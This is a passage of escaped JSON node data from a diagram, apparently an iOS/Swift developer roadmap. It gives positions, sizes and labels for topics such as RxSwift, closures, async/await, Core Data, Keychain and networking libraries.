\"focusable\": true,\n      \"measured\": {\n        \"width\": 316,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WaoIITgpj3XEyqDKw6cG_\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 337.4082393741711,\n        \"y\": 2425.279758346645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        },\n        \"oldId\": \"W6gdCIkqSFo70guQ6cKCT\"\n      },\n      \"zIndex\": -999,\n      \"width\": 345,\n      \"height\": 230,\n      \"style\": {\n        \"width\": 345,\n        \"height\": 230\n      },\n      \"positionAbsolute\": {\n        \"x\": 337.4082393741711,\n        \"y\": 2425.279758346645\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 345,\n        \"height\": 230\n      }\n    },\n    {\n      \"id\": \"0xwoWj9jek36p1AwU3WkK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 337.4082393741711,\n        \"y\": 2423.1176621738578\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RxSwift\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UzpdLLPs226N00c6weWRv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 345,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 345,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 337.4082393741711,\n        \"y\": 2423.1176621738578\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 345,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"k232wKg7XCb_ngjZ5Mwsy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 351.6806963612522,\n        \"y\": 2482.779758346645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Observables & observers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"noBaDV_PvCTzqPyw9eO4H\"\n      },\n      \"zIndex\": 999,\n      \"width\": 316,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 316,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 351.6806963612522,\n        \"y\": 2482.779758346645\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 316,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1xYZdnlI6JSJzNvmz4-0v\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 351.6806963612522,\n        \"y\": 2536.779758346645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Subjects\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GAn12SsVR_mPxOaOVckdz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 351.6806963612522,\n        \"y\": 2536.779758346645\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"g_1f5a6tIB5V_36NjgtL5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 351.6806963612522,\n        \"y\": 2589.4573117306472\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RxSwift with MVVM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"pY_zaMcFpeFDLgVk2W0Vy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 316,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 316,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 351.6806963612522,\n        \"y\": 2589.4573117306472\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 316,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"t7IYTY8tVjC_xzM1n8wts\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 455.6806963612522,\n        \"y\": 2536.779758346645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1xYZdnlI6JSJzNvmz4-0v\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 455.6806963612522,\n        \"y\": 2536.779758346645\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UqA01PT86_w_JzN6KZBku\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 559.6806963612522,\n        \"y\": 2536.779758346645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Schedulers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t7IYTY8tVjC_xzM1n8wts\"\n      },\n      \"zIndex\": 999,\n      \"width\": 108,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 108,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 559.6806963612522,\n        \"y\": 2536.779758346645\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OfwGqSMcV0noepKIjQbx1\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -41.71010223307604,\n        \"y\": 2570.4573117306472\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Patterns and Techniques\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"z8PqfFgpZnl4lCSvmwIsN\"\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": -41.71010223307604,\n        \"y\": 2570.4573117306472\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 266,\n        \"height\": 68\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"BtPYKd7RedHOLRATDKkpg\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -324.66112650248095,\n        \"y\": 2579.9573117306472\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Delegate Pattern\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"28HMXXBJWd3n-ZPgeQRDa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 179,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -324.66112650248095,\n        \"y\": 2579.9573117306472\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"z3AUN9u7EEqeKOqvLxf7D\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -362.16112650248095,\n        \"y\": 2482.779758346645\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Implementing Delegates\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"lVNrnUK6p4eifKRVSnOje\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -362.16112650248095,\n        \"y\": 2482.779758346645\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qJEd7KU52xL_GRG3IQqhM\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -490.1460183370646,\n        \"y\": 2666.3482817607282\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Callbacks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BtPYKd7RedHOLRATDKkpg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 188,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 188,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -490.1460183370646,\n        \"y\": 2666.3482817607282\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 188,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hinNObLi-5tbZFuY8U3i6\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -259.3084016544434,\n        \"y\": 2668.5103779335154\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        },\n        \"oldId\": \"W6gdCIkqSFo70guQ6cKCT\"\n      },\n      \"zIndex\": -999,\n      \"width\": 345,\n      \"height\": 230,\n      \"style\": {\n        \"width\": 345,\n        \"height\": 230\n      },\n      \"positionAbsolute\": {\n        \"x\": -259.3084016544434,\n        \"y\": 2668.5103779335154\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 345,\n        \"height\": 230\n      }\n    },\n    {\n      \"id\": \"M9UlalPL47GoqhcyGsAPV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -259.3084016544434,\n        \"y\": 2666.3482817607282\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Closures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UzpdLLPs226N00c6weWRv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 345,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 345,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -259.3084016544434,\n        \"y\": 2666.3482817607282\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 345,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5V7nxQKmmHWSMSBCRxkaF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -245.0359446673623,\n        \"y\": 2726.0103779335154\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understanding and using Closures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"noBaDV_PvCTzqPyw9eO4H\"\n      },\n      \"zIndex\": 999,\n      \"width\": 316,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 316,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -245.0359446673623,\n        \"y\": 2726.0103779335154\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 316,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"S-D-PnHA7COd2Dp6U2XO4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -245.0359446673623,\n        \"y\": 2780.0103779335154\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Capturing Values & Memory Mgmt.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GAn12SsVR_mPxOaOVckdz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 316,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 316,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -245.0359446673623,\n        \"y\": 2780.0103779335154\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 316,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WhOpzFvv21QQV3aS6XbXr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -245.0359446673623,\n        \"y\": 2832.6879313175177\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Callback Hell\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"pY_zaMcFpeFDLgVk2W0Vy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 316,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 316,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -245.0359446673623,\n        \"y\": 2832.6879313175177\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 316,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ysaBCl_TtWqelirptQp7P\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -485.6460183370646,\n        \"y\": 2951.373778518592\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Async / Await\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qJEd7KU52xL_GRG3IQqhM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 179,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -485.6460183370646,\n        \"y\": 2951.373778518592\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-aLGB3cDXZHIhVU3t-Ve4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -486.49430452021335,\n        \"y\": 3025.4740320108986\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Concurrency\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"M9UlalPL47GoqhcyGsAPV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 179,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -486.49430452021335,\n        \"y\": 3025.4740320108986\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6gfqFy3H6SLt06oJ1kt5A\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 151.47857612108493,\n        \"y\": 2788.9840797917414\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Persistence\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ysaBCl_TtWqelirptQp7P\"\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 151.47857612108493,\n        \"y\": 2788.9840797917414\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"H4-Dp2WTA6HAZiFRQdLjx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 497.86082709848984,\n        \"y\": 2680.9840797917414\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Core Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-aLGB3cDXZHIhVU3t-Ve4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 179,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 497.86082709848984,\n        \"y\": 2680.9840797917414\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ImS1FqVicQImMw-y1ze7y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 497.86082709848984,\n        \"y\": 2734.9840797917414\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"User Defaults\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"H4-Dp2WTA6HAZiFRQdLjx\"\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 179,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 497.86082709848984,\n        \"y\": 2734.9840797917414\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8v_eP0j85TnB33XyYAzrT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 497.86082709848984,\n        \"y\": 2788.9840797917414\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Keychain\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ImS1FqVicQImMw-y1ze7y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 179,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 497.86082709848984,\n        \"y\": 2788.9840797917414\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_bkRbqVXKNCnRvEFCM6mN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 497.86082709848984,\n        \"y\": 2842.9840797917414\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"File System\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8v_eP0j85TnB33XyYAzrT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 179,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 497.86082709848984,\n        \"y\": 2842.9840797917414\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3qjQbrCUchJn1bJTBWrQF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 497.86082709848984,\n        \"y\": 2896.9840797917414\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SQLite\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_bkRbqVXKNCnRvEFCM6mN\"\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 179,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 497.86082709848984,\n        \"y\": 2896.9840797917414\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WYV4YG_sLvC4S5ptFFdrF\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 257.37947885298604,\n        \"y\": 2985.373778518592\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JSON / XML\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6gfqFy3H6SLt06oJ1kt5A\"\n      },\n      \"zIndex\": 999,\n      \"width\": 160,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 160,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 257.37947885298604,\n        \"y\": 2985.373778518592\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UTVh1RHRWb5eA-S7ayLp8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 257.37947885298604,\n        \"y\": 3085.8972064310155\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Parsing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5V7nxQKmmHWSMSBCRxkaF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 160,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 160,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 257.37947885298604,\n        \"y\": 3085.8972064310155\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8rYjSCgRiJMHTNxOU6vgG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 257.37947885298604,\n        \"y\": 3140.7912124800087\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Serializing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UTVh1RHRWb5eA-S7ayLp8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 160,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 160,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 257.37947885298604,\n        \"y\": 3140.7912124800087\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JoNoM-utp8MaL1H0oXDta\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 494.5235851135475,\n        \"y\": 3224.734312830552\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Networking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WYV4YG_sLvC4S5ptFFdrF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 51,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 51\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 494.5235851135475,\n        \"y\": 3224.734312830552\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"GjY5qCU1rjB0D58qHQtAR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 494.5235851135475,\n        \"y\": 3310.5797000100943\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTTP / HTTPs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"H4-Dp2WTA6HAZiFRQdLjx\"\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 494.5235851135475,\n        \"y\": 3310.5797000100943\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3Qw-qmy5iAE61mPbIY4Q2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 494.5235851135475,\n        \"y\": 3361.748969778141\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"REST\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GjY5qCU1rjB0D58qHQtAR\"\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 494.5235851135475,\n        \"y\": 3361.748969778141\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9o7d3aN0YFfNNUeVoJrhs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 494.5235851135475,\n        \"y\": 3412.918239546188\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GraphQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3Qw-qmy5iAE61mPbIY4Q2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 494.5235851135475,\n        \"y\": 3412.918239546188\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WPJACNeI6jX9GGB1roeTp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 494.5235851135475,\n        \"y\": 3464.087509314235\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"URLSession\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9o7d3aN0YFfNNUeVoJrhs\"\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 494.5235851135475,\n        \"y\": 3464.087509314235\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nJeBisdKtN43ntkXnPCVF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 494.5235851135475,\n        \"y\": 3515.256779082282\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Alamofire\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WPJACNeI6jX9GGB1roeTp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 494.5235851135475,\n        \"y\": 3515.256779082282\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"f2iqFKp8t5n1Hyho0MrrA\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 246.15193584006727,\n        \"y\": 3216.234312830552\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Asynchronism\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"YzJVkZbOzgp5w9N0IQBN_\"\n      },\n      \"zIndex\": 999,\n      